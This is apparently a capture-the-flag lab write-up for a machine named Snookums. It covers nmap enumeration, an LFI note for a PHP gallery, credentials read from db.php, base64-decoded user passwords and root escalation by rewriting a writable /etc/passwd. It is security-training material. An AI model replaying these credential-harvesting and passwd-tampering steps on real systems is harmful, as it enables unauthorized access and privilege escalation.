Enumeration
Nmap Scan
$ nmap $ip -p- --min-rate 5000 -v
PORT STATE SERVICE21/tcp open ftp22/tcp open ssh80/tcp open http111/tcp open rpcbind139/tcp open netbios-ssn445/tcp open microsoft-ds3306/tcp open mysql33060/tcp open mysqlx
---
$ nmap $ip -p21,22,80,111,139,445,3306,33060 -sVC --version-all
PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.2| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_Can't get directory listing: TIMEOUT| ftp-syst:| STAT:| FTP server status:| Connected to ::ffff:192.168.49.66| Logged in as ftp| TYPE: ASCII| No session bandwidth limit| Session timeout in seconds is 300| Control connection is plain text| Data connections will be plain text| At session startup, client count was 3| vsFTPd 3.0.2 - secure, fast, stable|_End of status22/tcp open ssh OpenSSH 7.4 (protocol 2.0)| ssh-hostkey:| 2048 4a:79:67:12:c7:ec:13:3a:96:bd:d3:b4:7c:f3:95:15 (RSA)| 256 a8:a3:a7:88:cf:37:27:b5:4d:45:13:79:db:d2:ba:cb (ECDSA)|_ 256 f2:07:13:19:1f:29:de:19:48:7c:db:45:99:f9:cd:3e (ED25519)80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16|_http-title: Simple PHP Photo Gallery111/tcp open rpcbind 2-4 (RPC #100000)| rpcinfo:| program version port/proto service| 100000 2,3,4 111/tcp rpcbind| 100000 2,3,4 111/udp rpcbind| 100000 3,4 111/tcp6 rpcbind|_ 100000 3,4 111/udp6 rpcbind139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)445/tcp open netbios-ssn Samba smbd 4.10.4 (workgroup: SAMBA)3306/tcp open mysql MySQL (unauthorized)33060/tcp open socks5Initial Access
Simple PHP Photo Gallery v0.8 on port 80 is vulnerable to LFI/RFI - exploit-db
Privilege Escalation
Get mysql creds from db.php
bash-4.2$ cat /var/www/html/db.php<?phpdefine('DBHOST', '127.0.0.1');define('DBUSER', 'root');define('DBPASS', 'MalapropDoffUtilize1337');define('DBNAME', 'SimplePHPGal');Password for user michael
mysql> show databases;+--------------------+| Database |+--------------------+| SimplePHPGal || information_schema || mysql || performance_schema || sys |+--------------------+5 rows in set (0.00 sec)
mysql> use SimplePHPGal;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -A
Database changedmysql> show tables;+------------------------+| Tables_in_SimplePHPGal |+------------------------+| users |+------------------------+1 row in set (0.00 sec)
mysql> select * from users;+----------+----------------------------------------------+| username | password |+----------+----------------------------------------------+| josh | VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldVM05EYz0= || michael | U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ== || serena | VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ== |+----------+----------------------------------------------+3 rows in set (0.00 sec)decode the base64 hash and login through ssh
$ echo 'U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==' | base64 -d | base64 -dHockSydneyCertify123P.E TO ROOT | Writable /etc/passwd
[michael@snookums var]$ ls -la /etc/passwd-rw-r--r--. 1 michael root 1225 Jun 11 2020 /etc/passwdcreate new user or replace current root user password with new password
openssl passwd givemerootWarning: truncating password to 8 charactersBKLzEP1rEQre2
[root@snookums ~]# cat /etc/passwdroot:BKLzEP1rEQre2:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologinswitch user to root with new password
[michael@snookums var]$ su rootPassword:[root@snookums var]# cd /root[root@snookums ~]# lsproof.txt[root@snookums ~]# cat proof.txte197c1afad311e41bdfe13aa6067d300